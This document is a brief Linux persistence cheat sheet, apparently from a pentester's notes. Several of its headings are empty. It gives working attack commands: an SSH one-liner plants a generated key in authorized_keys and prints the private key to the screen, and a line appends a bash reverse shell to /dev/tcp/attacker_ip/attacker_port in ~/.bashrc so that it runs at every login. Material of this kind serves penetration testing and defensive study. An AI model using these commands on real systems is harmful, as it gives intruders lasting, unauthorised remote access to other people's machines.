# persistence

## SSH Keys

**Generate an SSH key pair**

```
ssh-keygen -t rsa -b 2048 -f ~/.ssh/id_rsa -N ""
```

**Add the public key to the `authorized_keys` file**

```
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
```

**Clean up**

```
rm ~/.ssh/id_rsa ~/.ssh/id_rsa.pub
```

**One-line command**

```
ssh-keygen -t rsa -b 2048 -f ~/.ssh/id_rsa -N ""; cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys; cat ~/.ssh/id_rsa; rm ~/.ssh/id_rsa ~/.ssh/id_rsa.pub
```

## Cron Jobs

## Environment Variables

Add a command to the user's `.bashrc` or `.profile`

```
echo 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1' >> ~/.bashrc
```

## AutoStart Applications

## SUID Binaries

## Web Shells

## Shared Library